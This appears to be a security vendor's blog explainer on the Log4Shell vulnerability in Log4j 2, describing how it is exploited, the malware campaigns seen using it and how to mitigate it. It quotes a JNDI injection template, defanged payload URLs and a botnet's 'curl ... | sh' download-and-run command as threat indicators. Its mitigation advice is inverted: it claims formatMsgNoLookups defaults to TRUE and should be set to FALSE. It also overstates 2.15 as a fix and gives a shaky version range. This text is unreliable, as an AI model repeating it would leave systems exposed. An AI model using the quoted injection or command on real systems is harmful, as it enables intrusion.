What are the consequences and known exploit threats of the Log4j or log4shell application security vulnerability?

Just as security teams were wrapping up for Christmas, a critical vulnerability appeared that set the internet on fire – Log4Shell, a remote code execution vulnerability that allowed anyone to inject arbitrary code to servers running the faulty Log4j 2 logging package maintained by Apache and releasing into the now well known log4shell application security vulnerability.

What is Log4Shell?

Log4Shell is an exploit to an application security vulnerability that allows the adversary to execute arbitrary code on any server running a vulnerable version of the Java Log4j 2 logging package. Threat actors can launch attacks from any vector where the user interacts with the server, e.g. a chatbox, a form, a URL.

IT teams have struggled with Log4Shell vulnerability because the Java Naming and Directory Interface allows almost any type of malicious activity to be launched easily. By using the JDNI and a protocol, e.g. HTTP, LDAP, RMI, bad actors can even take control of entire servers.

Want to find out more about how it works? Check out our blog post on the known vulnerabilities of Log4j and how this application security issue originated.

Vulnerable versions of Log4j 2

• All systems running Log4j 2.10 – 2.14
• Systems with custom configurations running Log4j 2.15-2.16

You can find a full list of vulnerable software that has been compiled by the NSCS-NL here.

How has the Adversary Exploited Log4Shell?

Despite the wide-reaching and simple nature of this vulnerability, most of the versions of this library are affected.

But the Log4Shell vulnerability has also become a prime hunting ground for malicious actors to run malware. In particular, crypto-miners, botnet attacks, a RAT, and a new type of ransomware have been discovered in an analysis of the exploit attempts carried out by attackers.

Remote Code Execution

First noticed in Minecraft: Java version, players could execute remote code to the Minecraft server using the following formatting string attack:

$ {jndi:[protocol]:[attacker controlled server]}

Remote users could remotely take control of another user’s computer and execute arbitrary code. The vulnerable software has been addressed by both Microsoft and Mojang, but owners of Minecraft servers still need to manually update or mitigate the Log4j package to stop threat actors from executing malicious code.

Khonsari Ransomware

A new ransomware was detected by the Bitdefender security team which appends the extension .khonsari to all encrypted files. Dubbed the Khonsari ransomware family, the Windows-focused ransomware has been identified by the following class:

http://3.145.115[.]94/Main.class

When the malicious remote server loads the malware through the vulnerable Java logger, it encrypts the following files:

• C:\Users\<user>\Documents
• C:\Users\<user>\Videos
• C:\Users\<user>\Pictures
• C:\Users\<user>\Downloads
• C:\Users\<user>\Desktop
• All other non-C:\ files on the system

Using AES-128 CBC to lock up files, the HOW TO GET YOUR FILES BACK.txt ransom note tells the victim to call or email the attackers to drop the encryption. The ransomware gang is not yet known to be trustworthy.

XMRIG Cryptominer

Cryptominer installations have been the most common attack type witnessed since the Log4j vulnerability became publically known and the Github-hosted XMRIG miner has been weaponized against a number of organizations.

Calling on a script file named wsnbb.sh, the miner makes contact with Github to download XMRIG onto the affected system and starts to mine cryptocurrencies.

Muhstik Botnet

Some actively exploited systems have shown signs of the Muhstik botnet. Large servers, in particular, have been prone to widespread exploitation of the botnet infecting and then deploying cryptominers (such as the above-mentioned XMRIG).

The following class is showing Muhstik botnet activity on affected versions:

hxxp://45.130.229[.]168:9999/Exploit.class

Which then executes the following command to download executables and linkable format files:

curl hxxp://18.228.7[.]109/.log/log | sh

All evidence gathered from remediation efforts so far indicates that the botnet is used to spread cryptominers, not establish a botnet for DDoS attacks or stealing sensitive data.

Orcus Remote Access Trojan

Making contact with the same server as the Khonsari ransomware, the Orcus RAT is another payload that is causing security teams headaches.

http://test.verble[.]rocks/dorflersaladreviews.jar

After having called on the above server, the fengchenteamchina.class file is downloaded to the local user’s local filesystem. The malware also runs an executable that sets persistence and downloads shellcode from http://test.verble.rocks/dorflersaladreviews.bin.encrypted

When the shellcode is downloaded and injected, it downloads an additional malicious payload that contains the Orcus RAT.

Mitigating Log4Shell

Log4Shell’s 10.0 CVSS makes it sound difficult to deal with, but the fix for the vulnerability is easy. Depending on the circumstances of your organization, there are three methods for dealing with the Log4Shell vulnerability.

For the full analysis of the vulnerability and the affected versions:

Update to 2.15

For all systems running Java Log4j 2 in its default state, updating to 2.15 will stop the vulnerability in its tracks. This update stopped the adversary from accessing log message parameters and they can no longer control log messages to leverage a point for lateral movement across a server.

Update to 2.16/.17

A security team that has to patch a customized version of Log4j 2 will need to install the further Apache Foundation update 2.17. This will prevent your custom Java installation from becoming a vulnerable version prone to exploitation.

Mitigate the Effect of the Exploitable Package

Some legacy systems are incapable of upgrading Log4j to a safe version. If you find a system within your organization that is incapable of updating, find the following parameter:

log4j2.formatMsgNoLookups

This is set to TRUE by default on all versions released after Log4j 2.10 but before 2.15. Setting this to FALSE will allow you to stop user-controlled input (including malicious format string attacks) until you can update to a secure version of Java.